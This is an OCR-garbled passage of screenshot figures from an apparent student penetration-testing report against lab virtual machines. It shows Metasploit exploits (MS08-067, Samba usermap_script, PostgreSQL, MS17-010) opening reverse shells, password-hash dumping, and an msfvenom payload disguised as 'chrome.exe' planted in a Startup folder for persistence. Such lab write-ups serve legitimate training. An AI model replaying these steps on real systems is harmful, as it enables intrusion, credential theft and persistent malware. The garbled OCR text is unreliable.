Active: active (running) since Sun 2026-02-15 ©2:19:37 UTC; 16ms ago
Invocation: 778b12f2cd6548f389fc62b46af5f5a6
Docs: man:gsad(8)
https:// v .greenbone.net
Main PID: 12690 (gsad)
Tasks: 1 (limit: J
Memory: 1.9M (peak: 1.9M)

CPU: 11lms
CGroup: /system.slice/gsad.service
12690 /1 bir d —Ao —listen 127..0.1 —port 9392

Feb 15 ©2:19:37 kali systemd[1]: Starting gsad.service - Greenbone Security Assistant daemon (gsad) ..
Feb 15 82:19:37 kali systemd[1]: Started gsad.service - Greenbone Security Assistant daemon (gsad)

» gvmd.service - Greenbone Vulnerability Manager daemon (gvmd)
Loaded: loaded (/usr/lib/systemd/system/gvmd.service; ; preset: )
Active: active (running) since Sun 2026-02-15 02:19:32 UTC; 55 ago
Invocation: a@34c1281ab9413591bf214538a69686
Docs: man:gvmd(8)
Process: 12174 ExecStart=/usr/sbin/gvmd —osp-vt-update=/run/ospd/ospd.sock —listen-group=_gvm (code=exited, status=@/SUCCESS)
Main PID: 12176 (gvmd)
Tasks: 1 (limit: 1 )
Memory: 209.7M (peak: 336.1M)

CPU: 5.083s
CGroup: /system.slice/gvmd.service
L12176 "gumd: Waiting " -- pdate=/run

Feb 15 ©2:19:19 kali systemd[1]: Starting gvmd.service - Greenbone Vulnerability Manager daemon (gvmd) ..
systemd[1]: gvmd.service: Can't open PID file "/run/gvmd/gvmd.pid’ (yet?) after start: No such file or directory
Feb 15 ©2:19:32 kali systemd[1]: Started gwmd.service - Greenbone Vulnerability Manager daemon (gvmd).

® ospd-openvas.service - 0SPd Wrapper for the OpenVAS Scanner (ospd-openvas)
Loaded: loaded (/usr/lib/systemd/system/ospd-openvas.service; ; preset: )l
Active: active (running) since Sun 2026-82-15 ©2:19:18 UTC; 18s ago
Invocation: 75¢5b9185e5e4b7abagec2fbi8d33de2z
Docs: man:ospd-openvas(8)
man:openvas(8)
Process: 12111 ExecStart=/usr/bin/ospd-openvas —config /etc/gvm/ospd-openvas.conf —log-config /etc/gvm/ospd-logging.conf (code=ex
ited, status=0/SUCCESS)
Main PID: 12142 (ospd-openvas)
Tasks: 5 (limit: 1 )
Memory: 215.1M (peak: 222.1M)
CPU: 7.641s

Greenbone Dashboard After Login Figure 57
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Greenbone Targets Figure 58
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5.0 Kali Linux “sudo netdiscover -i brO -L” Figure 64

—( thunder49® kali)-[~]
4% sudo su
—(root® kali)-[/home/thunder49]
# netdiscover -i bre -L
Ip At MAC Address Count Len MAC Vendor / Hostname
192 .168.0.2 pR@p:ep:11:11:11 1 42  XEROX CORPORATION
192.168.0.3 52:54:08:12:34:56 1 60 Unknown wvendor
192 .168.0.4 Po:@@:0@:11:11:12 1 6@ XEROX CORPORATION

"C

—(root® kali)
Ly |

- /home/thunder49 ]

Page 92 of 119




Autoliv Pen Testing Report

Metasploit “msfconsole” Figure 65
—(root® kali)-[/home/thunder49]
L# service postgresql start

r—(root® kali)-[/home/thunderi9]

—# msfdb init

[i] Database already started

[i] The database appears to be already configured, skipping initialization

—(root® kali)-[/home/thunders9]
L# msfconsole
Metasploit tip: Start commands with a space to avold saving them to history

=[ ]
+ — —-=[ 2467 exploits - 1273 auxiliary - 431 post ]
+ —— ——=[ 1478 payloads - 49 encoders - 13 nops 1
+ — —=[ 9 ewvasion 1
Metasploit Documentation: https://docs.metasploit.com/ I

msfe > i

Metasploit workspace creation Figure 66

msf6é > workspace -a ws2
[#] Workspace 'ws2' already existed, switching to it.
[#] workspace: ws2
msf6 > workspace -L
default
wsl
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Metasploit “db_nmap -A 192.168.0.3” Figure 67

(5 » on_nesp & 192.165.8.3
p: Start £ ) at 2036-02-22 23159 UTC
us-west-2,compute. internal (192,168,0.3)

i

4s Lat

me: 007 clused tcp purts (roset)
R310K

TEEETEIR

: Gas/tep spen microsoft-os winsows xP micrasoft-ds
MAC AdTass: S215470112:36156 (QEMJ virtual NIC)

/onicroseftinindons_server 2003
mes Server 2001

it 3 sombodded cpe: f0: micruses

ndws_xp:c 52 Cpe:f0:mCHOSOFE windows
Miruseft Windmn X6 562 or 56 indous Ensedded Stardard 20

5 _xpssed ¢
2003, Microsoft windows 5P 562 or 563, ar W

piows XP| COE: Cpb/0:RICHOROFT ININGONS, CROL/01REFORSFL inlnSONS KD

doviations $hismsds, median: Gh3smans

e
dangerous, but default)

2 )
time: Protocel negotistion failed (sub2)
p: | nhstat: NetEIDS name: GRAND-ESISSOTH, NetfIOS user: cunknomn>, NetSIOS WAC: 32:54:00:12:36:36 (QEWU virtwal WIC)

© TRACERITE

oo Tt
1 1,38 ms 4p-192-168-0-3.us-west-2. compute. dnternal (192.168.0.3)
05 and SATVICE QeTa<TiOn purromeed. Please FIpert ncorract fasults 3t MTtps://nasp org/subait
Wesg done: 1 I8 address (1 host up) scanned in 18,86 seconds

Metasploit “search ms08 067" Figure 68

nsf6 > search msos_067

Matching Madules

& Name Disclosure Date Rank Check Description
8 exploit/windows/sab/ [N retapi 2008-18-28 Yes MSBE-967 Microsoft Server Service Relative Path Stack Corruption
1 = Automatic Targeting ; . . .

2 \_ target: Windows 2000 Universal

3 \_ target: Windows XP SPO/SP1 Universal

4 \_ target: Windows 2003 5PB Universal

5 \C : windows XP SP2 English (Alwayson Nx)

6 \ Windows XP SP2 English (NX)

7 \ indaws XP 5P3 English (AlwaysOn NX)

8 \Z indows KP 5P3 English (NX)

9 o indows XP SP2 Arabic (NX)

SR indows KP SP2 Chinese - Traditional / Taiwan (NX)

1moo indows XP 5P2 Chinese - Simplified (NX)

12N : Windows XP SP2 Chinese - Traditional (NX)

13\ : Windows XP SP2 Czech (WX)

14 : Windows XP SP2 Danish qWX)

15 : Windows XP SP2 German {WX)

16 : Windows XP SP2 Greek (NX)

17 : Windows XP SPZ Spanish (NX)

18 . : Windows XP SP2 Finnish (NX)

19 : Windows XP SP2 French (NX)

28 o : Windows XP SP2 Hebrew (NX)

21 b : Windows XP SPZ Hungarian (NX)
22 o : Windows XP SP2 Ttallan (NX)
23 e : Windows XP SP2 Japanese (NX)
24 E : Windows XP 5P Korean (NWX)

25 s ¢ Windows XP SP2 Dutch (WX)

26 e ¢ Windows XP SP2 Norwegian (NX)
27 indows XP 5P2 Polish (NX)

28 : Windows XP SP2 Portuguese - Brazilian (NX)
29 : Windows XP SP2 Portuguese (WX)
0 : Windows XP SPZ Russian (NX)
n : Windows XP SP2 Swedish (M)

: Windows XP SP2 Turkish (NX)

: Windows XP SP3 Arabic (WX)

: Windows XP SP3 Chinese - Traditional / Taiwan (NX)
SP3 Chinese - Simplified (NX)
5P3 Chinese - Traditional (NX)
SP3 Czech (NX)

: Windows XP SP3 Danish (WX)

: Windows XP SP3 German (NX)

: Windows SP3 Greek (NX)

SP3 Spanish (NX)

SP3 Finnish (NX)

5P3 French (Nx)

SP3 Hebrew (NX)

5P3 Hungarian (NX)

5P3 Ttalian (NX)

5P3 Japanese (NX)

Windows XP SP3 Korean (WX)

: Windows XP SP3 Dutch (NX)

: Windows XP SP3 Norwegian (NX)

¢ Windows XP SP3 Polish (NX)

_ target: Windows XP SP3 Portuguese - Brazilian (NK)

e ddd e d e ddadaddddddddddd s dadddddd

Metasploit exploit module loaded Figure 69

msfEe > use @

[#] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms@8_067_netapi) > |]

Metasploit configuration (LHOST / RHOSTS) Figure 70

msf6 exploit{windows/smb/ms@8&_067_netapi) > set LHOST 192.168.0.1
LHOST = 192.168.0.1

msf6 exploit(windows/smb/ms@8_067_netapi) > set RHOSTS 192.168.0.3
RHOSTS = 192.168.0.3
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Metasploit exploit execution Figure 71
msfé exploit({windows/smb/ms@8_067 netapi) > run

[#] started reverse TCP handler on 192.168.0.1:4444

[#] 192.168.0.3:445 - Automatically detecting the target ...

[#] 192.168.0.3:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

[#] 192.168.0.3:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[#] 192.168.0.3:445 - Attempting to trigger the vulnerability ...

[*#] Sending stage (177734 bytes) to 192.168.0.3

[*#] Meterpreter session 1 opened (192.168.0.1:4444 — 192.168.0.3:1035) at 2026-02-22 23:12:33 +0000

meterpreter > |

Meterpreter SYSTEM privilege verification Figure 72

meterpreter > getsystem

[-] Already running as SYSTEM
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > J|

Meterpreter “hashdump” output Figure 73

meterpreter > hashdump
Administrator:500:3fee49ac2709bdd8cd85ddec2cd@9@5d:5F2b1+F33f919f02f581e3e6c9351d6%0 5
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@cB89cO
HelpAssistant:1000:74b72f92027d945a83ca8d912936763b: fd5afch2323e59e48c5f013173e@6414
lcuser:1003:aad3b435b51404ecaad3bs35b51404ee:31d6cfe@d16ae931b73c59d7e0c@89cO
SUPPORT_388945a0:1002 :aad3b435b51404eeaad3bs35b51404ee:e80599def11d613edc96694F 7eebadlf &
meterpreter > |j

Meterpreter “screenshot” confirmation Figure 74

BENXDGQ peg - Image Viewer [3/4]

A
iy

Windows*?

Professional
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Meterpreter file upload / enumeration Figure 75

meterpreter > upload hacked

[#] uploading : /home/thunder4g/hacked — hacked

[#] Uploaded 24.00 B of 24.00 B (100.0%): /home/thunder49/hacked — hacked
[#] completed : /home/thunder49/hacked —» hacked

meterpreter > cat hacked

You've been hacked :)))

meterpreter > cd C:\\

meterpreter > 1s
Listing: C:\

Mode Last modified Name

w
Ju
i
L]
-

-

o
]

040777/ rwxrwxrwx 0 dir 2026-02-19 02:35:23
100666/ Tw-rw-rw- 211 fil 2919-07-23 2 4:53
100666/ TW-rw-rw- 24 fil 2026-02-19 B2:39:45
100666/ Tw-rw-rw- 250048 Ffil 2008-04-14

WINDOWS
boot.ini
hacked

ntldr
pagefile.sys

12:

H:10]

100777/ rwxrwxrwx fil 2919-07-23 21:15:01 + AUTOEXEC.BAT
100666,/ TW-Tw-Tw- fil 2919-07-23 21:15:01 + CONFIG.5YS
040777 /rwXruxrux 0 dir  2@19-87-23 21:32:53 + Documents and Settings
100666/ rw-rw-rw- fil 2@19-07-23 21:15:81 + I0.5Ys
100666/ Tw-rw-rw- 0 fil  2019-07-23 21:15:01 + MSDOS.5YS
100777 /rwxrwxrwx 47564  fil  2008-04-14 12: 00 + NTDETECT.COM
040555/r-Xxr-xr-x 0 dir  2019-87-23 21:33:09 + Program Files
040777 /Twxruxrux 0 dir 2019-07-23 21:19:28 + System Volume Information
+
+
+
+
+

00/ ——— fif 1970-01-01

meterpreter > [j

Nmap enumeration showing Samba service Figure 76

192.168.9.2
mmng Nmap 7.95 ( https://nmap.org ) at 2026-02-23 00:35 UTC

Nmap scan report for ip-192-168-0-2.us-west-2.conpute.internal (192.168.0.2)
Host is up (0.00057s latency).

Not shown: 988 closed tcp ports (reset)

PORT  STATE SERVICE VERSION

21/tcp  open ftp ProfTeD 1.3.1
OpensSH 4.7p1 Debian Subuntul (protocol 2.0)
1c0:80:6a:741 4:fac 1cd (DSA)

0f:21:10:de:a7:2b:ae:61:b1% 108143 (RSA)
23/tcp  open telnet Vinax cetnetd
25/tcp  open smtp Postfix smtpd
| g lostable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, SBITMINE, DSN
53/tep open domain ISC BING 9.4.2
| dns-nsid:

2
80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) PHP/S.2.A-2ubuntu$.10 with Suhosin-Patch)

I_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntuS.10 with Suhosin-Patch
I_http-title: Site doesn't have a title (text/htal).

139/tcp open netbios-ssn Sanba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

3306/tcp open mysql MySQL 5.0, 51a-3ubuntus

version: 5. a 51a-3ubuntus

Thread 10:
(avamhues flags: 43564
Some Capabilities: SupportsTransactions, . SupportsC fon, Supportslauth, SpeakssiPratocolNew, LongColumaFlag, ConnectwithDatabase

Status: Autocommit
Salt: 5q medNe-+UL]nés gT0

5432/tcp open postgresal PostgresaL 06 8.3.0 - 8.3.7

| ssl-cert: Subject 1 zationName=0COSA/st fesThere is no such thing outside US/countryNamesXX
| Mot valid before: 2010-03- 1misersas

I_Not valid after: 2010- 5
561 dater 2026-02- 237001361 3400100; -1 fron scamer tive.

8009/tcp open ajpll Apache Jserv (Protocol v1.3)
|_ajp-nethods: Failed to get a valld response for the OPTION request
8180/tcp open hitp Apache Tomcat/Coyote 5P engine 1.1

I_http-title: Apache Tomcat/s.s

| _http-favicon: Apache Toncat

MAC Address: 00:00:90:11:11:11 (Xerox)

Device type: general purpose

Running: Linux 2.6.X

05 CPE? cpe:/o:linux: Linux kernel:2.6

o doraila: tmx 209

Network Distance: 1 hoy

Service Infor Host: metasploitable. localdomain OSs: Unix, Linuxi CPE: cpe:/oslinux:linus_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SWB2)
I_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknomn)
| smb-0s-discovery:
| 0S: Unix (Samba 3.8.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
I_ System time: 2026-02-22719:36:12-05:
IZclock-skew: mean: 1h39ms9s, deviation: Cohsalzs, median: 05
| smb-security-mode
| account ubedr ebask>
| authentication level: user
| challenge_response: supported
|_ message_signing: disabled (dangorous, but default)
TRACEROUTE
HOP RTT  ADDR!
17 157 ns ipo152-168-0-2.us-west-2. compute. internal (192.168.0.2)

05 and Service detection performed. Please report any incorrect results at https://nmap.org/subnit/ .
Neap done: 1 IP address (1 host up) scanned in 112.45 seconds
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Metasploit module search for Samba exploit Figure 77

(r00t® kali)-[/home/thunders9)

Ln

Metasploit tip: View missing module options with show missing

1
[ 2467 exploits - 1273 auxiliary - 431 post ]
1478 payloads - 49 encoders - 13 nops 1
9 evasion 1
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search samba usermap
Matching Modules
# Name Disclosure Date Rank Check Description
0 exploit/multi/fuiee/BEENNEE script 2007-05-14 excellent No BSEBE "username map script” Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi ba/usernap_script

usf6 > |

Exploit module loaded Figure 78

WMatching Modules

#  Name Disclosure Date Rank Check Description

0 exploit/multi/EEmEE/ NEEENEE_script 2007-05-14 excellent No BSBE “username map script” Command Execution

e @ or use exploit/multi/samba er!

Interact with a module by name or index. For example info

1sf6 > use @
No payload configured, defaulting to cmd/unix/reverse_netcat

1
f6 exploit(multi/samba/usermap_script) > [I

Exploit configuration (RHOSTS / LHOST) Figure 79

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script)

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][ ...]

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)

payload options (cmd/unix/reverse_netcat)

Name Current Setting Required Description

LHOST 11.0.251.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

) Automatic

View the full medule info with the info, or info -d command.

msfé exploit(multi/samba/usermap_script) > set LHOST 192.168.0.1
ST = 192.168.0.1

6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.0.2
RHOSTS = 192.168.0.2

msf6 exploit(multi/samba/usermap_script) > [|
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Exploit execution and shell session opened Figure 80
msf6 exploit(multi/samba/usermap_script) > run

[#] Started reverse TCP handler on 192.168.0.1:4444
[#] Command shell session 2 opened 1192.168.3.1:4444 — 192.168.0.2:34182) at 2026-02-23 00:49:11 +0000

Shell access verification (id, whoami, uname -a) Figure 81
id

id

uid=0(root) gid=@(root) I
root@metasploitable:/# whoami a

whoami

root

rootimetasploitable:/# uname -a

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
root@metasploitable:/# |

KFOha ACHOTER/ 1405 VT B PBGSURPLYL L g TIRRCY: w4 Z0Gkyx3LEIT2
L RSBy PORTTSRBRSPAL o ebbiLiy 5302 ZarequasEryar SJahih 3 ST ecCuL X TG0 T eSF 2T raChet POV PU LTS (YTCy g use rimetaspludtable
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Metasploit PostgreSQL module search Figure 84

Baf6 > search postgres

Watehing Modules

Disclosure Date Rank Check  Description

are default password remate code execution

x/http/acranis_cybor_infra_cve 2823 45249 2024-07-24 Yo

Acronis Cyber Infrastru
unix/Linux Comeang . . .

PR teractive S5 .
3 auniliary/server/capture NN naraal Mo Authentication Capture: NS

4 gost/Linux/gather/enim_users_history ) norasl Mo Linux Gather User Wisto

5 exploit/milti/http/nanage_enzine. de_pmp_sqli F014-p6-08 Yes  MamageEngine Desktop Central / Password Manager LinkviewfetchServiet.dat SOL Injection
. Autanatic . . .

7 \_ target: Desktop Central w8 2 bBE9209 / w9 < 09639 (| L) on Windows . . . .

8 \J target: Desktop Central WSP vA 2 b&B20D / Vo < b90R3D [ L) on windows .

9 A7 targot: Desktop Central [MSP) v7 3 b70280 / w8 / ¥B < b9BI39 (WySDL) on Windows : .

on Windows

\_ target: Passwors Manager Pro [MSP] ve ® b6gaR / v7 < biew (
Bassword Manager Pro wi 3 BESGD {47 < bT0e) (ysai) oo midons
Password Managor Pro [MSP] vE 2 beson / v7 < broes (EEEEEEQL) on Linux : .

A\ anu‘ passmord Nansger pro V'3 beson /T < 6783 (iysat) of LK

manval Vs

ows /i sc/manageengine_eventlog_ analyser_rce S015-07-11 EuentLog anslyrer Remate Code Execution
SeniLisey/wiman/ut 5 nanageengine. s B 2014-11-08 harmal  Yex  Mamagetngine Pazcword Manager S4UAdvancodALSearchAesult.cc Pro SQL Injection
h-all\irwarilw?/cracw databases . normal No Password Cracker: Databases
_ action: hasheat . . © Use Masheat
A action: juhm . . Jahn the Ripper
oxplot/nul 1/ NN WO <0y _ron_progran_cud_sxc Z019-03-70 es  WEEEEEO. COPY FROM PROGRAM Comand Execution
targets Automatt . . -
A targots Unix/0sLin .
AT torget Windows - Powrshell (n-Henory) .
vindows (CMO) . . . .
Sete-01-01 - Yos L CREATE LANGIAGE Execution
farmal  No U Dstabase Nane Comsand Line Flag Tnjection
. tarnal o L Login Utility
narmal  ho C Server Generic query
narmal  Ho U Server Generic Query
) tareal  No L version Probe
30070605 ves L for Linux Paylasd Execution

\_ target: Linux 586

AC targer: Linux x86_66 ) .
plot i ndows /SN BN -2 024 2009-0u-10 Yes L for Micrasoft Windows Paylaad Exeeution

\_ target: Windows x86
Targer: Windees xsi .

ausiliary/scanner, hashdumn rarmal Ko Passuord Hashdumn
auxiliary/scanner, [ schonadunp armal  No
Sk LLaTy/a00Ln/NU LD/ Fails_devise_pass_reset 2013-01-28 norwal Mo Ruby on Reils Devise AUThentication Passwerd Reset
ulti/http) rudder_server_sq 2023-06-16 Yes  Rudder Server SQLI Remote Code Executio
t/Linun/gathor/vcenter_secrots._ 2022 rarmal Mo VMware viemter Secrets Dump
Interact with a madule by name or index. For example . or
nafe > )

PostgreSQL exploit module loaded Figure 85

msf6 > use 30

[#] Using configured payload linux/x86/meterpreter/reverse_tcp

[%#] New in Metasploit 6.4 - This module can target a SESSION or anm RHOST
msf6 exploit(linux/postgres/postgres_payload) > ||

PostgreSQL exploit configuration (RHOSTS / LHOST / credentials) Figure 86

nsf6 explou(unux/povqru/ponlres payload) > set LMOST 192.168.0.1
LHOST = 192.16

msfs exolen(unux/posqru/ponlm payload) > set RHOSTS 192.168.0.4
RHOSTS = 192.1

nsfh mlou(unuxmugmmnlm payload) > set USERNAME postgres
USERNAME = post;

msf6 explo,x(linux/pon;ru/ponln- payload) > set PASSWORD postgres
PASSWORD = postgres

nsé6 cxplolx(linux/wst'rls/po!tln! pay\uu) > showoptions

-1 u command: showoptions. Run th d for more details.
nsfs exolou(linul/w!ll"!/w:llui payload) > show opnons

Module options (exploit/linux/postgres/postgres_payload):

Name Current Setting Required Description

VERBOSE false no Enable verbose output

Used when connecting via an existing SESSION:

Wane  Current Setting Required Description

SESSION no The session to run this module on

Used when making a new connection via RHOSTS:

Name Current Setting Required Description
DATABASE postgres no The database to authenticate against

PASSWORD postgres no The password for the specified username. Leave blank for a random password.

RHOSTS ~ 192.168.0.4 no The target host(s), see https://docs.metasploit.com/docs/using: basics/usi loit.htal
RPORT 5432 no The target port

USERNAME postgres no The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name  Current Setting Required Description

LHOST 192.168.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
14 Name

0 Linux x86

View the full module info with the . or command.

msf6 exploit(linux/postgres/postgres_payload) > |
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PostgreSQL exploit execution and shell session opened Figure 87

msf6 exploit(linux/postgres/postgres_payload) > run

#] Started reverse TCP handler on 192.168.0.1:4444

1

] 192.168.0.4:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu &4.2.3-2ubuntus)
*] Uploaded as /tmp/pJhJEQsi.so, should be cleaned up automatically

1

1

*

*] Sending stage (1017704 bytes) to 192.168.0.4
#] Meterpreter session 1 opened (192.168.0.1:4444 — 192.168.0.4:35544) at 2026-02-23 01:47:29 +0000

— e — — —

meterpreter > id

Shell verification (id, whoami, uname -a) Figure 88

meterpreter > shell

Process 5041 created.

Channel 1 created.

id

uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)

whoami

postgres

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

File system enumeration (Is, directory listing) Figure 89
1s

bin I
boot

cdrom

dev

etc

home

initrd
initrd.img
lib
lost+found
media

mnt

nohup.out

opt

proc

root

sbin

sV

sys

tmp

usr

var

vmlinuz

cd /home

1s

ftp

msfadmin
service

user

cd /msfadmin
/bin/sh: line 22: cd: /msfadmin: No such file or directory
cd ‘\msfadmin
1s

vulnerable

cd vulnerable
1s

mysgl-ssl
samba
tikiwiki
twiki2@e30201
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MSFVenom custom payload generation Figure 90

thunder49® kali)-[~

sudo su
—(root®kali)-[/home/thunder49]
—8 fven windows/meterpreter/reverse_tcp StageRetryCount=17280@ LHOST=192.168.0.1 LPORT=4132 x86 -= x86/shikata_ga_nai t Windows -i 3

f exe » chrome.exe

Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai chosen with final size 435
Payload size: 435 bytes
Final size of exe file: 73802 bytes

(root® kali)-[/home/thunder49)
|

Metasploit multi’/handler listener configuration Figure 91

msf6 > grep exploit search smb psexec

1  exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution

3 \_ action: PSEXEC . . . Use the SMB Connection to run the exploit/windows/psexec module against the relay target
9 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
24 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution

32 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution

Interact with a module by name or index. For example info 34, use 34 or use exploit/windows/smb/webexec
msf6 > use 9

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.0.1

LHOST = 192.168.0.1

msfé exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.0.3

RHOSTS =5 192.168.0.3

msf6 exploit(windows/smb/ms17_010_psexec) > |

Meterpreter payload upload confirmation Figure 92

meterpreter > upload chorme.exe

[*] uploading : /home/thunder49/chorme.exe — chorme.exe

[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/thunder49/chorme.exe —» chorme.exe
[*] Completed : /home/thunder49/chorme.exe — chorme.exe

meterpreter > 1s

Listing: C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Mode Size Type Last modified Name

100777 /rwxrwxrwx 73802 fil 2026-02-26 01:56:18 +0000 chorme.exe
100666/ rw-rw-rw- 84 fil 2019-07-23 21:15:03 +0000 desktop.ini

meterpreter > fi

Startup folder persistence confirmation Figure 93

Process 1652 created.

Channel 2 created.

Microsoft Windows XP [Version 5.1.2608]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir

Volume in drive C has no label.

Volume Serial Number is ACFG6-95F7

Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

82/25/2026 06:56 PM <DIR>
02/25/2026 06:56 PM <DIR>

02/25/2026 06:56 PM 73,802 chorme.exe
1 File(s) 73,802 bytes
2 pir(s) 618,881,024 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>chorme.exe
chorme .exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>netstat
netstat

Active Connections

Proto Local Address Foreign Address State
TCP grand-beB199078:1035  192.168.0.1:4444 ESTABLISHED
TCP grand-beBl199078: 1936 192.168.0.1:4132 SYN_SENT

C:\Documents and Settings\All Users\Start Menu‘\Programs\Startupsf]
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Reverse Meterpreter session established Figure 94

nsf6 expini:(uindmf:lb;‘lﬂ?'iﬂ'pnxl:) > run

*] Started reverse TCP handler on 192.168.0.1:4444

*] 192.168.0.3:445 - Target 05: windows 5.1

*] 192.168.0.3:445 - Filling barrel with fish... done

*] 192.168.0.3:445 - «————— | Entering Danger Zone | —
#*] 192.168.0.3:445 - [*] Preparing dynamite ...

+] 192.168.0.3:045 - [*] Trying stick 1 (x86) ... Boom!

+] 192.168.8.3:445 -  [+] Successfully Leaked Transaction!

*] 192.168.0.3:445 -  [+] Successfully caught Fish-in-a-barrel

#] 192.168.8.3:445 - é———o-——— | Leaving Danger Zone | ——
*] 192.168.0.3:445 - Reading from CONNECTION struct at: @=B6120c7@

*] 192.168.8.3:445 - Built a write-what-where primitive ...

#] 192.168.9.3:445 - Overwrite complete... SYSTEM session obtained!

#*] 192.168.0.3:445 - Selecting native target

+] 192.168.08.3:445 - Uploading payload ... NQfDUGWP.exe

#] 192.168.8.3:445 - Created \NQfDUGwp.exe ...

+] 192.168.0.3:445 - Service started successfully ...

*] 192.168.0.3:445 - Deleting \NQFDUGWP.exe ...

-] 192.168.0.3:445 - Delete of \NQfOUGwp.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=@)
*] Sending stage (177734 bytes) to 192.168.8.3

*] Meterpreter session 1 opened (192.168.0.1:4444 — 192.168.0.3:1035) at 2026-02-25 18:48:456 +0000
meterpreter > [

SYSTEM privilege verification (getuid) Figure 95

meterpreter > pwd
C:\WINDOWS\system32

meterpreter > getuid
Server username: NT AUTHDRITY\S;(STEM

Netstat outbound reverse connection confirmation Figure 96

C:\Documents and Settings‘\All Users\Start Menu\Programs\Startup>exit
exit
meterpreter > netstat

Connection list

Prote Local address Remote address State User Inode PID/Program name
tep 9.0.0.0:135 0.9.0.0:% LISTEN [ @ 764/svchost . exe
tcp D.0.0.0:4645 0.0.0.0:% LISTEN ] @ 4/5ystem

tep 127.0.9.1:1029 0.9.0.0:* LISTEN L] L] 672/alg.exe

tep 192.168.0.3:139 0.0.0.0:+ LISTEN L] @ 4/System

tep 192.168.0.3:1035 192.168.0.1:4444 ESTABLISHED @ a 1432/rund1132. exe
udp 9.0.0.9:500 0.9.0.0:% @ L] 508/1sass.exe
udp 0.0.0.0:4500 0.9.0.0:% [} [} 508/1sass.exe
udp 0.0.0.0:445 0.0.0.0:% [} [ 4/System

udp 127.0.9.1:123 @.0.0.0:% a e 876/svchost . exe
udp 127.9.9.1:1025 0.9.0.0:% L] [ 876/svchost. exe
udp 127.98.0.1:1900 0.9.0.0:% [} ] 1040/ svchost . exe
udp 192.168.0.3:1900 0.9.0.0:w a -] 1040/ svchost .exe
udp 192.168.0.3:137 0.90.0.0:% ] @ 4/System

udp 192.168.0.3:138 0.0.0.0:+ L] [} 4/System

udp 192.168.0.3:123 @.0.0.0:% a a 876/svchost.exe

Nikto scan results — Web Server 192.168.0.2 Figure 97

L8 nikt t 192.168.0.2
- Nikto v2.5.0

+ Target IP: 192.168.0.2

+ Target Hostname: 192.168.0.2

+ Target Port: 80

+ Start Time: 2026-03-04 18:52:35 (GMTO)

+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch

+ /: Server may leak inodes via ETags, header found with file /, inode: 67575, size: 45, mtime: Wed Mar 17 14:08:25 2010. See: http://cve.mitre.org/cgi
-bin/cvename.cgi?name=CVE-2003-1418

+ /: The anti-clickjacking x-Frame—OpBions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME
type. See: https://ww.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ /index: Uncommon header ‘tcn’ found, with contents: list.

+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for ‘i
ndex' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
